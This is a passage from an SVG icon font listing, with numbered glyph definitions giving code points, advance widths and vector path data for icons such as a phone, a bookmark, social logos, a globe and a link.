174 <glyph unicode="&#xf095;" horiz-adv-x="1408" d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -52.5 3.5t-57.5 12.5t-47.5 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-128 79 -264.5 215.5t-215.5 264.5q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47.5t-12.5 57.5t-3.5 52.5 q0 92 51 186q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174 q2 -1 19 -11.5t24 -14t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
175 <glyph unicode="&#xf096;" horiz-adv-x="1408" d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832 q119 0 203.5 -84.5t84.5 -203.5z" />
176 <glyph unicode="&#xf097;" horiz-adv-x="1280" d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289 q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
177 <glyph unicode="&#xf098;" d="M1280 343q0 11 -2 16q-3 8 -38.5 29.5t-88.5 49.5l-53 29q-5 3 -19 13t-25 15t-21 5q-18 0 -47 -32.5t-57 -65.5t-44 -33q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170.5 126.5t-126.5 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5t-3.5 16.5q0 13 20.5 33.5t45 38.5 t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5t320.5 -216.5q6 -2 30 -11t33 -12.5 t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
178 <glyph unicode="&#xf099;" horiz-adv-x="1664" d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41 q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
179 <glyph unicode="&#xf09a;" horiz-adv-x="1024" d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
180 <glyph unicode="&#xf09b;" d="M1536 640q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -39.5 7t-12.5 30v211q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 121 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-86 13.5 q-44 -113 -7 -204q-79 -85 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-40 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23 q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -89t0.5 -54q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
181 <glyph unicode="&#xf09c;" horiz-adv-x="1664" d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5 t316.5 -131.5t131.5 -316.5z" />
182 <glyph unicode="&#xf09d;" horiz-adv-x="1920" d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608 q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
183 <glyph unicode="&#xf09e;" horiz-adv-x="1408" d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5 t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294 q187 -186 294 -425.5t120 -501.5z" />
184 <glyph unicode="&#xf0a0;" d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5 h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75 l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
185 <glyph unicode="&#xf0a1;" horiz-adv-x="1792" d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5 t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
186 <glyph unicode="&#xf0a2;" horiz-adv-x="1792" d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5 t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
187 <glyph unicode="&#xf0a3;" d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70 l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70 l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
188 <glyph unicode="&#xf0a4;" horiz-adv-x="1792" d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106 q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43 q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5 t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
189 <glyph unicode="&#xf0a5;" horiz-adv-x="1792" d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-2 3 -3.5 4.5t-4 4.5t-4.5 5q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576 q-50 0 -89 -38.5t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45 t45 -19t45 19t19 45zM1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128 q0 122 81.5 189t206.5 67q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
190 <glyph unicode="&#xf0a6;" d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576 q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5 t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76 q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
191 <glyph unicode="&#xf0a7;" d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33 t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580 q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100 q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
192 <glyph unicode="&#xf0a8;" d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
193 <glyph unicode="&#xf0a9;" d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
194 <glyph unicode="&#xf0aa;" d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
195 <glyph unicode="&#xf0ab;" d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
196 <glyph unicode="&#xf0ac;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11 q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 10.5t-9.5 10.5q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5 q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5 q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5 t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-5 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3 q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25 q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5 t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5 t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10t17 -20q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21 q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5 q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3 q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5 t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q7 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5 q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7 q-5 -5 -6 -15t-2 -13q-7 5 0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
197 <glyph unicode="&#xf0ad;" horiz-adv-x="1664" d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5 t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
198 <glyph unicode="&#xf0ae;" horiz-adv-x="1792" d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19 t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
199 <glyph unicode="&#xf0b0;" horiz-adv-x="1408" d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
200 <glyph unicode="&#xf0b1;" horiz-adv-x="1792" d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68 t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
201 <glyph unicode="&#xf0b2;" d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144 l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z " />
202 <glyph unicode="&#xf0c0;" horiz-adv-x="1920" d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5 t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75 t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5 t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
203 <glyph unicode="&#xf0c1;" horiz-adv-x="1664" d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26 l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15 t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207 q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
